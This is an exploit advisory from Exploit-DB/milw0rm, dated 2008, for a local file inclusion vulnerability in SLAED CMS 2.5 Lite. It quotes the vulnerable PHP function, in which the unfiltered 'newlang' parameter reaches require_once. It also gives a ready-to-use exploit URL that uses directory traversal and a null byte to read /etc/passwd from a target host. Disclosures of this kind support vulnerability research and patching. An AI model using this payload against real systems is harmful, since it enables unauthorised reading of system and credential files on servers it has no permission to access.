SLAED CMS 2.5 Lite - 'newlang' Local File Inclusion

EDB-ID:

4975




Platform:

PHP

Date:

2008-01-23


# SLAED CMS 2.5 Lite Local file inclusion

# Script url http://www.slaed.net/uploads/files/public/SLAED_CMS_2.5_Lite.zip

# Lets code in function/sources.php: 
 
780:  // Format language
781:  function get_lang($module="") {
782:	global $multilingual, $currentlang, $language, $user_cookie_t;
783:	if (isset($_REQUEST['newlang']) && $multilingual == "1") {
784:		if (file_exists("language/lang-".$_REQUEST['newlang'].".php")) {
785:			setcookie("lang", $_REQUEST['newlang'], time() + intval($user_cookie_t));
786:			require_once("language/lang-".$_REQUEST['newlang'].".php");
                        ...

And in index.php:
9:    require_once("function/function.php");
10:   get_lang();

# As you can see variable newlang is not filtered, so, if magic_quotes_gpc turned off, we can use exploit:

http://[targethost]/[path]/index.php?newlang=../../../../../../../../../../etc/passwd%00

# Bug discovered by The_HuliGun

# Greetz to: NaTka and all people who understand...

# See u soon!

# milw0rm.com [2008-01-23]